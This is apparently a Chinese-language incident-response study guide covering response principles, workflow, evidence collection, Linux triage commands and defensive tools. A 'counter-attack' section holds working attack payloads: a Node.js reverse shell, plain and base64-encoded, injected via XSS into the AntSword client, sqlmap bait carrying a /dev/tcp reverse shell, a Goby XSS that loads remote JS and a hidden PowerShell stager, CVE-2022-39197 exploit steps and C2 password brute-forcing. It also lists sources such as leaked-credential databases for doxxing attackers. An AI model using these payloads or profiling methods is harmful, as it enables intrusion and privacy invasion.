应急响应的整体思路
应急响应的整体思路,就是上层有指导性原则和思想,下层有技能、知识点与工具,共同推进和保障应急响应流程的全生命周期。
原则和指导性思路
3W1H原则:3W即Who、What、Why,1H即How,做应急响应要带着疑问来做事,一定要收集清楚这些信息。网络拓扑是怎么样的?需求是啥?发生了什么事?你能做什么?用户用了什么产品?产品版本多少?病毒库版本多少?多少主机中了?主机是普通PC还是服务器?服务器是做什么的?……信息收集越多,对应急响应越有利。
易失性原则:做应急响应免不了要做信息收集和取证的,但这里是有一定的先后顺序的,即最容易丢失的据,应该最先收集,其它的依次类推。
要素原则:做应急响应,主要是抓关键证据,即要素,这些要素包括样本、流量、日志、进程及模块、内存、启动项。
避害原则:做应急响应,要做到趋利避害,不能问题还没有解决,反而引入了新的问题。譬如,自己使用的工具被感染而不知情;给用户使用不恰当的工具或软件造成客户主机出现问题;给别人发样本,不加密,不压缩,导致别人误点中毒,最极端的场景就是给别人发勒索样本不加密压缩,导致别人误点中毒。
技能、知识点与工具
应急工具集:应急响应必要的一套工具集合,可协助应急人员做分析,提高效率。
日志分析:能对日志进行分析,包括但不限于系统日志(Windows/Linux等)、应用日志、安全设备日志(防火墙、防病毒、态势感知等)。
威胁情报:安全事件可能不是孤立的,安全站点或搜索站点能找到安全事件的关联信息。
漏洞补丁知识:知道漏洞与补丁的关系,它们在应急响应中的角色,了解常见漏洞及补丁。
常见病毒及分类:知道病毒大致的分类以及常见的病毒。
样本分析:至少能对样本进行一次简单动态的分析。
操作系统知识:至少对Windows系统和Linux系统的有一定的知识储备,知道其基础的工作原理。
应急响应的基本流程
收集信息:收集客户信息和中毒主机信息,包括样本。
判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS等等。
深入分析:日志分析、进程分析、启动项分析、样本分析。
清理处置:杀掉进程,删除文件,清楚启动项,打补丁,抑或是修复文件等等。
产出报告:整理并输出完整的安全事件报告。
信息收集
客户名称 | 什么区域的什么客户 |
---|---|
感染主机数 | 已经感染了的主机 |
补丁情况 | 已经打了哪些补丁,是否存在补丁漏打 |
中毒现象 | 后门/木马/勒索/挖矿/DoS/僵尸网络 |
帐号密码 | 确认是否有弱密码 |
对外开发端口 | 对外开发了哪些端口 |
开启的服务 | 开启了哪些服务 |
操作系统版本 | 操作系统版本信息 |
客户需求 | 确认客户具体需求 |
等等
取证要素:取证并非毫无头绪的,病毒本身必然有网络行为,内存必然有其二进制代码,它要么是单独的进程模块,要么是进程的dll/so模块,通常,为了保活,它极可能还有自己的启动项、网络心跳包。
总之,可以归结为如下几点:流量、进程、网络连接、定时任务、启动项、服务、模块等
应急工具
流量分析工具:常用的流量分析工具是Wireshark
进程分析工具:ProcessHacker和PC Hunter等。
启动项分析工具:主要是AutoRuns工具,便于定位病毒启动项。
专杀工具:有些流行病毒家族,通常对杀软有抑制性,或者本身有感染性,需要专杀工具去查杀和修复正常文件。
辅助工具:WinHex、文件Hash工具、Everything搜索工具、Unlocker文件解锁工具等。
内存扫描工具:主要是MemScanner。
系统日志及日志分析
Windows&Linux系统日志:Windows系统自带的审计日志、操作日志、故障日志。
应用日志:包括但不限于Web应用等众多繁杂的日志,数据库,中间件,数据平台,cms,是个组件都有日志
安全设备日志:IDS,IPS,EDR....
Windows系统日志
日志路径:C:\Windows\System32\winevt\Logs
必看日志:Security.evtx、System.evtx、Application.evtx
Linux系统日志
日志路径:/var/log
必看日志:secure、history
应急
事前
事前更多的时候是说甲方企业,在日常做的事情,需要熟悉自身的情况,做到知己
最核心的:
网络拓扑 -> IP分布、安全域的划分、能够上外网的区域、边界的访问控制等,出来一个IP就知道在哪个区域
安全设备 -> 已有的安全防御措施,waf、IPS、TIP、soc、hids、终端管控、杀毒软件 这些防御将在应急响应过程中大大提高应急效率,节省很多宝贵时间
备份情况 -> 企业是否具有备份,在处理勒索病毒时,非常有用
应急预案 -> 应急过程是高强度、争分夺秒的事情,在这种情况下很难考虑周全,因此需要事前做预案,对各种可能情况进行冷静、理智分析,包括解决方案、操作步骤、联系人员
应急演练 -> 确保应急预案可用,流程顺畅,因此 需要事前进行演练,查找预案的不足,及时进行更正,确保预案可行性
预案中最主要的是人员通讯录,明确分工和职责,至少需要一位总指挥 见过太多无头应急,失败已经是注定的
检测
怎样发现出现问题的?
- 主机向外发送大量数据包?
- 主机资源瓶颈(CPU跑满 -> 挖矿,磁盘满了->数据下载)
- 安全监控报警(日志报警)
- 威胁情报(用户诈骗投诉电话、SRC威胁情报、暗网监控)
- 主机运行比较慢?
响应
收集受影响的主机信息和取证相关恶意程序
收集相关的日志信息包括但不限于网络流量日志、防火墙日志、系统安全日志、审计日志、web服务器日志、数据库日志和其他相关日志。
对已掌握的线索进行深入分析,并对其攻击类型进行分析和定性,如网络攻击(端口扫描、账号破解、POC扫描、DDoS)、恶意程序(病毒、勒索/挖矿木马、后门)等
在根据分析结果对本次事件的发起时间点进行确认,定位攻击源头,确保受影响服务和失陷主机
最终是以时间为线梳理出来的完整攻击路径
处置
真实操作中,处置与响应基本上同时进行,而且处置是止损的关键。主要操作的方法:
封锁公网IP -> 一般是攻击者的服务端公网IP地址
封域名 -> 内网dns封掉回连dns
线下被感染的主机 -> 网络隔离掉被感染的主机
恶意软件采样 -> 恶意文件
后门账号 -> 清理后门账号
横向排查 -> 此类相关问题进行横向排查,确认是否有相关问题 ,比如确认恶意木马,计算hash,在HIDS检索,确认其他机器是否存在相同文件
溯源(攻击者画像)
收集攻击者相关信息:
姓名/ID:
攻击IP:
地理位置:
QQ:
IP地址所属公司:
IP地址关联域名:
邮箱:
手机号:
微信/微博/src/id证明人物照片:
跳板机(可选):
关联攻击事件
恶意文件分析,代码中的
百度
谷歌语法
fofa
ip查询
ip反查
威胁情报
备案查询
whois
爱企查
ip定位
github,gitee,开源中国,src排行,技术博客
社交媒体 QQ/微信/微博/豆瓣/贴吧/知乎/脉脉/linkedin/twitter等搜索
reg007 电话,邮箱注册过哪些网站
各种社工库 查询姓名,ip,泄露密码爆破账户
溯源反制
Webshell 工具-Antsword
原理:蚁剑支持Nodejs脚本
<?php header('HTTP/1.1 500 <img src=# οnerrοr=alert(1)>');
上线:
Nodejs 代码:
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(xx, "xx.xx.xx.xx",
function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
编码组合后:
header("HTTP/1.1 500 Not <img src=# οnerrοr='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA4NiwgIjQ3Ljk0LjIzNi4xMTciLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpO3NoLnN0ZGVyci5waXBlKGNsaWVudCk7fSk7`,`base64`).toString())'>");
SQL 注入工具-SQLMAP
蓝队提前构造注入页面诱使红队进行 sqlmap 注入拿到红队机器权限
原理:
命令管道符:ping "`dir`"
构造注入点页面固定注入参数值,等待攻击者进行注入
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`dir`"
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`exec /bin/sh 0</dev/tcp/47.94.236.117/2333 1>&0 2>&0`"
漏洞扫描工具-Goby
index.php
<?php header("X-Powered-By: PHP/<img src=1 οnerrοr=import(unescape('http%3A//47.94.236.117/1.js'))>");
<html>
<head>
<title>TEST</title>
</head>
<body>
testtest
</body>
</html>
1.js
(function(){require('child process').exec('calc.exe');})();
2.js上线:
(function(){require('child process').exec('powershel -nop -w hidden -encodedcommand JABXXXXXXXX(cs上线代码)');})();
CobaltStrike
对抗Cobaltstrike中的手段:
1、伪造流量批量上线(欺骗防御)
https://mp.weixin.qq.com/s/VCRg6F9Wq-yg-qajDoJuaw
2、利用漏洞(CVE-2022-39197)
Cobalt Strike<=4.7 XSS
获取真实ip地址
获取NTLM
RCE
SSRF
https://github.com/its-arun/CVE-2022-39197.
-修改EXP里面的执行命令后编译
修改:EvilJar/src/main/java/Exploit.java
-python -m http.server 8888
-修改svg加载地址并架设Web服务
修改: evil.svg 指向python打开web服务的url地址
xlink:href=“http://47.94.236.117:8888/Evilar-1.0-jar-with-dependencies.jar”
-执行EXP调用后门上线,攻击者进程查看时触发
python cve-2022-39197.py beacon.exe http://47.94.236.117:8888/evil.svg
3、反制Server,爆破密码(通用)
针对没有采用隐匿C2地址的技术导致的反制
https://github.com/ryanohoro/csbruter
python csbruter.py 47.94.236.117 pass.txt
安全事件应急
linux
1.远控后门
1.事件来源,通过EDR等安全设备报警
2.下载河马等后门查杀工具,确认后门位置
3.配合威胁感知平台,确认外连ip和端口 netstat -anpt
4.查找进程信息 ps -ef
根据文件查pid
lsof | grep evil.sh
lsof /root/evil.sh
根据pid查相关文件
lsof -p 1234
systemctl status pid 获取进程status信息
ps -T -p pid 查看进程创建的线程
5.确定进程运行时间
查看进程运行时间
ps -eo pid,lstart,etime,cmd | grep <pid>
与恶意文件创建时间作对比,验证恶意文件
ls -al evil.sh
6.处理异常进程
恶意文件采样,并放在恶意文件分析平台上分析
什么类型恶意文件,目标ip,该ip是否为恶意地址等
7.删除恶意文件
chattr -i
Getshell/Mshell: Memshell-攻防内存马研究 (github.com)
2.挖矿病毒
1.获取异常进程pid top
2.寻找恶意文件
lsof -p pid
systemctl status pid
ps -T -p pid
3.确定进程运行时间
与恶意文件创建时间对比
ps -eo pid,lstart,etime,cmd | grep <pid>
ls -al evil.sh
4.处理异常进程
恶意文件采样,并放在恶意文件分析平台上分析
进程查杀
kill -9 pid
kill -9 -pid
5.删除恶意文件
3.勒索病毒
1.确定病毒家族
利用勒索病毒搜索引擎和百度,从勒索病毒的外在特征,文件后缀,联系邮箱等确定
2.利用勒索病毒搜索引擎和百度,搜索解密工具
淘宝,咸鱼请高手
没办法就交钱或者重做系统
4.暴力破解
善后阶段:
1.杀毒工具查杀
clamav
chkrootkit
Unhide
Rootkit Hunter
2.history信息
以下几种情况history信息不全
被清空或设置不记录
history -c
unset HISTORY HISTFILE HISTSAVE HISTZONE
HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export
HISTFILESIZE=0
命令前带一个空格不会记录
通过ssh远程执行的命令不会记录
ssh ubuntu@192.168.1.1 "whoami"
ssh异常中断
3.登录信息
who 当前登录用户
last -awF 显示所有登录成功信息
4.计划任务
/etc/crontab
/etc/cron.d/xx
/var/spool/cron/xxxx/xx
/etc/anacrontab (Redhat/Centos)
5.ssh后门
~/.ssh/authorized_keys 检查是否写入公钥
cat /etc/ssh/ssh_config
cat ~/.ssh/config
检查是否写入LocalCommand或ProxyCommand后门
ssh隧道
netstat -anpt 查看网络连接,看到22端口转发到其他端口
7.特权账户
awk -F: '$3==0 {print $1}' /etc/passwd
8.特殊权限文件
SUID find / -perm /4000
GUID find / -perm /2000
SUID和GUID find / -perm /6000
探针 LinEnum.sh
9.启动项
systemctl list-unit-files --type=service | grep enabled
systemctl stop xx.service
systemctl disable xx.service
服务检查
列出正在运行的系统服务
systemctl list-unit-files --type=service | grep enabled
systemctl status xxx.service 查看服务进程状况
systemctl cat xxx.service 查看服务配置文件
10环境变量
env
set
export
cat /proc/$PID/environ
declare
11.bash命令
bash命令搜索顺序为,别名alias,关键字,函数,内置命令,外部命令
查看alias别名
alias
创建
alias l="ls -al"
删除
unalias l
查看函数
declare -f xx
删除恶意函数
unset -f xx
查看内置命令
compgen -b
查看内置命令的同名文件
compgen -b | grep -v -E "\.|\:" | while read line;do ls /usr/bin/$line 2>null ;
done
12.动态链接库劫持
LD_PRELOAD
echo $LD_PRELOAD
/etc/ld.so.conf
cat /etc/hosts
14.rookit后门检测
工具rkhunter
应急工具:
日志提取工具
七牛 Logkit
日志自动分析
Linux系统 - GScan
Windows系统 -LogonTracer
Web-360 星图&Goaccess
ELK日志分析系统
Yara工具
蜜罐平台 Hfish
HIDS-Wazuh&Elkeid-hub(linux)
IDS-Snort&Suricata
规则库:
https://github.com/al0ne/suricata-rules
https://github.com/ptresearch/AttackDetection
参考
应急响应的整体思路和基本流程 - FreeBuf网络安全行业门户
Windows 应急响应手册v1.1-腾讯云开发者社区-腾讯云 (tencent.com)